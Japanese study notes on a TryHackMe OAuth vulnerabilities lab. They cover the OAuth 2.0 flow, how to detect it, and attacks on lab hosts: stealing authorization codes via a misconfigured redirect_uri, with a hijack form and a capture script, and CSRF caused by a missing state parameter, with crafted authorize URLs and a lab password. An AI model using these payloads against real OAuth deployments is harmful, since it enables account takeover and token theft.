コース : https://tryhackme.com/room/oauthvulnerabilities

OAuthの登場人物

OAuthワークフロー

認可リクエスト

ログイン画面

Login with OAtuhを押すと、リダイレクトされる
リダイレクト先

上の情報によって、認可サーバーは要求内容と遷移先を理解することができる

認証 & 認可

ログインすると、こんな画面

認可レスポンス

トークンリクエスト

Bistroアプリは、認可コードをアクセストークンと交換するため、以下の情報をPOSTリクエストとして /o/token エンドポイントに送信する

このワークフローにより、Bistroアプリは、OAuth 2.0の認可ワークフローを通じてアクセストークンを取得する
これによって、Bistroアプリは、ユーザーに代わって安全に保護されたリソースにアクセスできるようになる
今後、すべてのリクエストにはこのアクセストークンがAuthorizationヘッダーに含まれて送信され、リソースサーバーがTomとしてのアクセスを許可する仕組み

トークンレスポンス

アプリケーションでのOAuthの検出

OAuthフレームワークの検出方法

ログイン処理中にネットワークトラフィックを分析する際は、HTTPリダイレクトに注目する

OAuthフレームワークの特定方法

見るべき箇所

Exploit

OAuth Tokenの窃取

OAuth Token

redirect_uri

脆弱性

不適切に設定された redirect_uri

手順

前提

攻撃の準備

2つのサイトをホストする

<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
    <input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
    <input type="submit" value="Hijack OAuth">
</form>

malicious_redirect.html

<script>
    const urlParams = new URLSearchParams(window.location.search);
    const code = urlParams.get('code');
    document.getElementById('auth_code').innerText = code;
    console.log("Intercepted Authorization Code:", code);
    // データベースやファイルに保存など
</script>

攻撃の実行

CSRF In OAuth

脆弱性

発見

この脆弱性を持っているアプリは、ログインした時に、認可リクエストに、Stateパラメータが存在しないことがわかる

http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fcoffee.thm%2Fcsrf%2Fcallbackcsrf.php

悪用

state がないことで、攻撃者は次のようにして攻撃を成立させられる

攻撃準備

攻撃の実行

攻撃者側の操作

  1. http://mycontacts.thm:8080/csrf/index.phpにログイン
  2. 認可コードと payload を取得
http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/

attacker : tesla@123
  1. Payloadをメールなどで被害者にリンクを送信し、ログインさせる

Implicit Grant Flow

脆弱性

これらの理由から、OAuth 2.0 のセキュリティベストプラクティスでは、非推奨

他の脆弱性

不十分なトークン有効期限

リプレイ攻撃

トークンの安全でない保存

OAuth 2.1